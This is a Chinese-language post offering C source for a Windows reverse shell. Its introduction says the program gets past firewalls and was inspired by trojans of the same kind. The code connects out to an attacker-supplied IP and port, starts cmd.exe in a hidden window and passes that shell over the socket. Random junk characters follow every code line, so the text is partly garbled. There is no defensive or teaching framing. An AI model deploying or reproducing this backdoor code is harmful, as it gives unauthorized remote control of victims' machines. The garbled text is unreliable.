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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !*c%Dj  
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/* ============================== `m'RvUc  
Rebound port in Windows NT ?.,F3@W "  
By wind,2006/7 Ge)G.>c  
===============================*/ ]4O!q}@Cd  
#include 3SY1>}(Y  
#include {%wrx'<  
#`@)lU+/  
#pragma comment(lib,"wsock32.lib") 0Y0z7A:  
IYe[IHny1  
void OutputShell(); &DQ_qOKD  
SOCKET sClient; s3Bo'hGxG  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; rv{Wti[  
#IppjaPl8  
void main(int argc,char **argv) VN-0hw/A  
{ .\`M oH  
WSADATA stWsaData; tuH#Cy  
int nRet; BHpay  
SOCKADDR_IN stSaiClient,stSaiServer; &4wSX{c/P  
+sx(q@  
if(argc != 3) &(< Gr0  
{ Mprn7=I{Tg  
printf("Useage:\n\rRebound DestIP DestPort\n"); *vNAm(\N  
return; GfgHFv  
} &x (D%+  
k7JC~D E#  
WSAStartup(MAKEWORD(2,2),&stWsaData); JSFNn]z2P  
r6D3u(kMb  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |xb;#ruR6  
:tENn r.9v  
stSaiClient.sin_family = AF_INET; ([m4 dr  
stSaiClient.sin_port = htons(0); <OiH%:G/1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ke6,&s%{j  
5aVZ"h"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?z.  Z_A&  
{ Z{u]qI{l  
printf("Bind Socket Failed!\n"); JiqhCt\  
return; rxx VLW  
} Eb,M+c?  
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stSaiServer.sin_family = AF_INET; ?RE"<L  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )3F}IgD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U7LCd+Z 5X  
G=e'H-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "Ml#,kU<T  
{ YxnZ0MY  
printf("Connect Error!"); DW,Z})9  
return; s&%r?  
} k-4z2qB  
OutputShell(); 'QpDx&~QP  
} 87pu\(,'  
7iy2V;}  
void OutputShell() Us[F@  
{ 6Po {tKU  
char szBuff[1024]; asW W@E  
SECURITY_ATTRIBUTES stSecurityAttributes; {#t7lV'4  
OSVERSIONINFO stOsversionInfo; t.!?"kP"c  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; R<3 -!p1v  
STARTUPINFO stStartupInfo; iQ;lvOja  
char *szShell; s_Z5M2o  
PROCESS_INFORMATION stProcessInformation; 1q ZnyJ  
unsigned long lBytesRead; 6d5q<C_3t  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3?k<e  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1Uah IePf  
stSecurityAttributes.lpSecurityDescriptor = 0; 6XAofN/5f  
stSecurityAttributes.bInheritHandle = TRUE; !;t6\Z8&  
X&Ospl@H  
<UIE-#  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >y!R}`&0^t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 'K23oQwDB  
k/U rz*O  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xxgdp. (  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N5MWMN[6aP  
stStartupInfo.wShowWindow = SW_HIDE; 2 9z@ !  
stStartupInfo.hStdInput = hReadPipe; XB[EJGaX  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B$q5/L$}  
1n)YCSA  
GetVersionEx(&stOsversionInfo); Bi/E{k,  
tH vP0RxM  
switch(stOsversionInfo.dwPlatformId) )*}?EI4.  
{ @]]\r.DG  
case 1: A)#Fyde  
szShell = "command.com"; G[d]t$f=  
break; T7Y+ WfYh  
default: $|@-u0sv  
szShell = "cmd.exe"; ;iN [du  
break; 1yS: `  
} X2 <fS~m  
;+3@S`2r  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /*6[Itm_h  
L8pKVr  
send(sClient,szMsg,77,0); ihct~y-9W  
while(1) ?5[$d{ Gjl  
{ !6 kn>447Y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &`g^b^i  
if(lBytesRead) H-% B<7  
{ WxJaE;`Ige  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L'e|D=y  
send(sClient,szBuff,lBytesRead,0); Lq#!}QcW=  
} ,{'ZP_  
else hBDmC_\~  
{ !%D;H~mQ  
lBytesRead=recv(sClient,szBuff,1024,0); $m-@ICG#  
if(lBytesRead<=0) break; fndH]Yp  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gd0a,_`M  
} \Jwc[R&x  
} Co/04F.  
7 $dibTER  
return; qnU`Q{  
}
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